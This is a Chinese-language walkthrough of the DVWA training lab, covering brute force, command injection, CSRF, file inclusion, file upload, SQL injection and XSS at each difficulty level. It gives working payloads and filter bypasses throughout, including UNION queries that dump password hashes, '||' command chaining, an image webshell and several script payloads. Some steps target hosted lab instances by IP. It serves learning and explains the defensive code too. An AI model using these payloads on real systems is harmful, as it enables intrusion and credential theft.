暴力破解Brute Force
low
输入密码就正常抓包放字典破解得了
uploading-image-528180.png
medium
同样的操作发现响应速度变慢了,但是还是能暴力破解,不多说了。
uploading-image-408161.png
部分源码解读
$user = $_GET['username'];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR))? "" : ""));
$pass = $_GET['password'];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR))? "" : ""));
$pass = md5($pass);
从get请求获取账号密码,mysqli_real_escape_string函数对用户名和密码进行转义,使用 md5 函数对密码进行哈希处理,这是一种老旧且不安全的存储密码的方式,因为 MD5 算法容易被破解,现在更推荐使用 password_hash 和 password_verify 函数。
// Login failedsleep( 2 );
//查询失败暂停两秒
high
百度:Token是在客户端频繁向服务端请求数据,服务端频繁的去数据库查询用户名和密码并进行对比,判断用户名和密码正确与否,并作出相应提示,在这样的背景下,Token便应运而生。Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码。Token的目的是为了减轻服务器的压力,减少频繁的查询数据库,使服务器更加健壮。
源码增加了 CSRF(跨站请求伪造)防护机制,generateSessionToken(); 生成token。通过 checkToken 函数检查 user_token 和 session_token。这是一个重要的安全改进,防止恶意用户通过 CSRF 攻击来执行未授权的操作,对比 user_token 和 session_token 的一致性,以确保请求来自于合法用户。输入的账号密码用stripslashes函数去除反斜杠。在登录失败时添加了一个随机的延迟时间(0 到 3 秒)攻击者无法确定登录失败时的延迟时间,增加了暴力破解的难度。
为了方便测试假设已经知道账号是admin,随便输入密码抓包发攻击模块,选择音叉模式,密码和token处添加payload(注意整个操作过程bp的拦截不要放行,就让它拦在那,否则不成功)
payload1设置弱密码列表
payload2类型选择递归提取
点击设置-->检索-提取-->获取响应
然后找到源码中token的值双击,bp自动分析提取的特征,注意这里先把响应中token的值复制一下后面有用,点击确定
回到payload2设置,把刚刚复制的token粘贴到“首次请求初始payload”
最后自己建一个1线程的资源池,使用
开始爆破,成功
如果是简单破解的话返回的全是302,刷新发现报错token不对
impossible
源码分析:
防止sql注入的就不说了,因为这里是爆破题目
// 这里是定义最大失败次数和锁号时间,已经账号是否要锁定$total_failed_login = 3;$lockout_time = 15;$account_locked = false; $data = $db->prepare('UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;');
$data->bindParam(':user', $user, PDO::PARAM_STR);
$data->execute();//每次登录失败时,会更新用户的 failed_login 记录加 1,这样可以统计用户的登录失败次数。//当登录失败次数达到 $total_failed_login(这里设置为 3)时,会将用户账户标记为锁定状态。
if (($data->rowCount() == 1) && ($row['failed_login'] >= $total_failed_login)) $last_login = strtotime($row['last_login']);
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();
if ($timenow < $timeout) {$account_locked = true;
}
//当账户锁定后,会根据 last_login 时间和 lockout_time(这里是 15 分钟)计算出一个超时时间 timeout,如果当前时间 timenow 还在超时时间内,账户会保持锁定状态,防止用户在一定时间内继续尝试登录。
还有一些不懂的函数,查一下
$db->prepare 函数:
这是 PDO(PHP Data Objects)中的一个方法,用于准备一个 SQL 语句,将 SQL 语句发送到数据库服务器进行预处理。
'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' 是一个 SQL 更新语句。它的目的是更新 users 表中的 failed_login 字段,将其值加 1。
(:user) 是一个命名占位符,这是 PDO 预处理语句的一个特点,用于在 SQL 语句中表示一个占位,后续会通过 bindParam 方法将实际的值绑定到这个占位符上,这样可以避免 SQL 注入攻击。$data->bindParam(':user', $user, PDO::PARAM_STR); 函数:
bindParam 是 PDOStatement 对象(这里是 $data)的一个方法,用于将一个 PHP 变量绑定到 SQL 语句中的占位符上。
':user' 是要绑定的占位符名称,它对应于 SQL 语句中的 (:user)。$user 是要绑定的 PHP 变量,它包含了用户的用户名。
PDO::PARAM_STR 是一个 PDO 常量,表示要绑定的数据类型是字符串。这告诉 PDO 如何正确地处理 $user 变量的数据类型,确保在 SQL 语句中正确使用。$data->execute(); 函数:
这是 PDOStatement 对象的一个方法,用于执行已经准备好的 SQL 语句。
当调用 execute() 方法时,PDO 会将绑定的参数值插入到 SQL 语句的占位符位置,并将 SQL 语句发送到数据库服务器执行。
Command Injection
low
if (stristr(php_uname('s'), 'Windows NT')) {// Windows$cmd = 'ping '. escapeshellarg($target);} else {// *nix$cmd = 'ping -c 4 '. escapeshellarg($target);}
和传入的值直接拼接基本无过滤随便写个127.0.0.1;ls或者127.0.0.1&&pwd什么的过了
medium
黑名单
// Set blacklist$substitutions = array('&&' => '',';' => '',);
传个无效ip再用||再接命令,||表示前一个命令不执行就执行后一个
127.2222.2.1||pwd
high
<?phpif( isset( $_POST[ 'Submit' ] ) ) {// 首尾去除空格$target = trim($_REQUEST[ 'ip' ]);// Set blacklist$substitutions = array('&' => '',';' => '','| ' => '',//这里|后加了空格所以单单一个|还是可以绕'-' => '','$' => '','(' => '',')' => '','`' => '','||' => '',);//黑名单中出现的字符替换为空$target = str_replace( array_keys( $substitutions ), $substitutions, $target );// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target );}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";
}?>
csrf
low
http://36.138.228.8:8081/vulnerabilities/csrf/?password_new=111111&password_conf=111111&Change=Change#改密码是通过get请求该改的,如果从外部网站点击自己构造的链接
http://36.138.228.8:8081/vulnerabilities/csrf/?password_new=xxxxx&password_conf=xxxxx&Change=Change#也可以改变目标网站的密码
medium
这个就是加了个请求来自哪里(Referer:)的判断,从外部网站访问构造的csrf链接,改Referer:的值为靶场的值就得了
high
加了个token,其实也就是抓包右键生产csrf poc然后放弃请求包,poc中修改想要的password,然后浏览器打开即可
impossible
在前面基础上加了个当前密码验证,就是说你要改密码首先得输入旧密码,token方面没啥变化,也是更改一次后就更新token。
如果你知道受害者旧密码的话,用high等级的方法也是可以csrf的
File Inclusion
low
没啥检测,可以包含远程木马文件
medium
过滤http(s)和../ ..,data伪协议直接过了。注意url编码再传
high
源码解读:
fnmatch 是一个文件匹配函数,它使用通配符模式匹配字符串。在这里,"file" 是一个模式,!fnmatch( "file", $file ) 表示 $file 的值不匹配以 file 开头的任何字符串。
&& $file!= "include.php":总之你要是用file协议读include.php就会进入if语句执行报错,所以不能读这个文件。
这关只能用file协议,尝试读取本机文件, 因为是在线靶场,所以本机指的是搭建靶场的服务器,随便读个/etc/passwd或者/etc/mysql/my.cnf得了,这个靶场也不会把数据库密码泄露在这些文件中。
impossible
这就只能包含这三个文件了,其他都无法包含
File Upload
low
这个直接传一句话就得了,不记录了
medium
Content-Type检查,抓包把它值改成image/png即可
high
copy mn3.jpg/b+1.php 66.jpg 第一个参数是正常图片第二个是🐎,第三个是保存为的图片名称
制作好图片🐎上传后用文件包含关卡的low级别包含图片🐎即可。
impossible
if ((strtolower($uploaded_ext) == 'jpg' || strtolower($uploaded_ext) == 'jpeg' || strtolower($uploaded_ext) == 'png') && ($uploaded_size < 100000) && ($uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png') && getimagesize($uploaded_tmp)):这部分代码对文件进行了多重检查。扩展名检查:将文件的扩展名转换为小写,检查是否为 jpg、jpeg 或 png。大小检查:确保文件大小小于 100000 字节。MIME 类型检查:检查文件的 MIME 类型是否为 image/jpeg 或 image/png。getimagesize($uploaded_tmp):确保文件确实是一个图像文件,因为这个函数会尝试读取图像文件的尺寸信息,如果文件不是图像文件,这个函数会失败。对于图像文件,会使用 imagecreatefromjpeg 或 imagecreatefrompng 读取文件并重新编码存储到临时文件中,以去除可能的元数据。这会使得图片中嵌入的木马被重新编码
Insecure CAPTCHA
这关在线靶场没找到配置好的,都报错reCAPTCHA API key missing from config file: /var/www/html/config/config.inc.php,先不打了。
SQL Injection
low
单引号闭合报错双引号不报错,接着
id=0' union select 1,2--+判断处是两列,三列报错
-
0' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
返回
First name: 1
Surname: guestbook,users -
0' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()--+
返回
First name: 1
Surname: user_id,first_name,last_name,user,password,avatar,last_login,failed_login -
0' union select 1,group_concat(user,":",password) from users--+
返回
First name: 1
Surname: admin:5f4dcc3b5aa765d61d8327deb882cf99,gordonb:e99a18c428cb38d5f260853678922e03,1337:8d3533d75ae2c3966d7e0d4fcc69216b,pablo:0d107d09f5bbe40cade3de5c71e9e9b7,smithy:5f4dcc3b5aa765d61d8327deb882cf99
密码应该是md5过的
medium
判断字符型还是数字型,判断出是数字型
懒得在查表了,之前查过了,反正是靶场。直接爆账号密码
源码使用 mysqli_real_escape_string 函数对 $id 进行转义。首先检查 $GLOBALS["___mysqli_ston"] 是否存在且是一个对象,如果是,就使用 mysqli_real_escape_string 对 $id 进行转义,以防止 SQL 注入。但是查询的时候用了数字型,所以仍然可以利用。
high
点击链接才能查询
双引号闭合不报错,单引号闭合报错,所以是单引号闭合,但是报错后就回不到原来的界面了,只能换一个在线靶场。
1' order by 2 -- qqq判断是两列,注意不能写--+,必须-- 注释
的形式比如(1' order by 2 -- qqq),不然报错后又回不了原来界面了。
观察回显位置:
0' union select version(),group_concat(table_name) from information_schema.tables where table_schema=database() -- qqq查表
0' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database() -- qqq查列
查数据
SQL Injection (Blind)
low
id存在
id不存在
有些靶场环境有问题,这里找了个比较好的http://89.169.157.206:8080
id=9是不存在的,但是id=9'||'1'='1是存在的,可以布尔盲注
库名应该不会太长。
1' and length(database())=x#判断出库名长度是4,
最后得到库叫dvwa
这里手工注入太麻烦,自己写脚本也没反应,sqlmap跑了一下发现检测不到注入,直接用其他人的payload了,反正是靶场。
通过盲注得到有两个表1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #
medium
这个变成下拉框查询,抓包测试即可
high
和之前一样打,不过是另开一个窗口,抓包发现是cookie处注入
Reflected Cross Site Scripting (XSS)
low
<script>alert(222)</script>
直接测试
medium
过滤了<script>
用<img onerror="alert(222)" src="">
high
用medium的方法也可以打
源码
<?php// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>";
}?>
我寻思这也没多高级啊,只对script做过滤其他标签是一个也不管是吧。
impossible
htmlspecialchars( $_GET[ 'name' ] );
直接转义了,所以无法注入html标签了
Stored Cross Site Scripting (XSS)
low
name处限制长度输入,前端改一下限制就可以了
comment处注入也可以
刷新再次进入页面也会出发xss
medium
name过滤了script,用img,然后comment处strip_tags()除去了一些html标签,htmlspecialchars()将特殊字符转换为 HTML 实体,所以只能在name处用其他标签注入
high
name处改长度限制
<img onerror="alert(222)" src="">
comment随便写
name处是只过滤script标签其他没动
DOM Based Cross Site Scripting (XSS)
dom型xss攻击不经过后端,检查前端代码
if (document.location.href.indexOf("default=") >= 0) {var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");document.write("<option value='' disabled='disabled'>----</option>");}document.write("<option value='English'>English</option>");document.write("<option value='French'>French</option>");document.write("<option value='Spanish'>Spanish</option>");document.write("<option value='German'>German</option>");
这段代码的主要目的是根据当前页面的 URL 中的 default= 参数,动态添加一个
medium
过滤了script标签,img、a标签试过了也不得。因为插入的值是从select标签里面提取的,可以尝试闭合select标签</select><img src=# onerror=alert(1) onmouseover=alert(2)>
high
<?php// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {# White list the allowable languagesswitch ($_GET['default']) {case "French":case "English":case "German":case "Spanish":# okbreak;default:header ("location: ?default=English");exit;}
}?>
看网上wp是使用锚部分弹窗,这个之前真没见过,学到了
French#<script>alert(1)</script>
问gpt解释如下:
在 URL 中,# 号后面的部分被称为片段标识符(Fragment Identifier),它通常用于指向文档内的特定部分(如页面中的锚点)。
PHP 的 $_GET 超级全局变量在解析 URL 时,会忽略 # 号及其后面的部分。所以,当你访问 default=French# 时,$_GET['default'] 只会得到 French。
简单说就是http://210.6.26.42:8080/vulnerabilities/xss_d/?default=French#中#后面的内容php的$_GET不接受但是js代码却接收了default=后面所有内容,造成绕过。
锚点用法https://www.cainiaojc.com/html/html-anchor.html
这关还真是看前端基础。
这下算是打完这个靶场了,其实一直不太想打这个因为这个靶场已经很老了。但是感觉自己基础不够牢还是硬着头皮打练了一下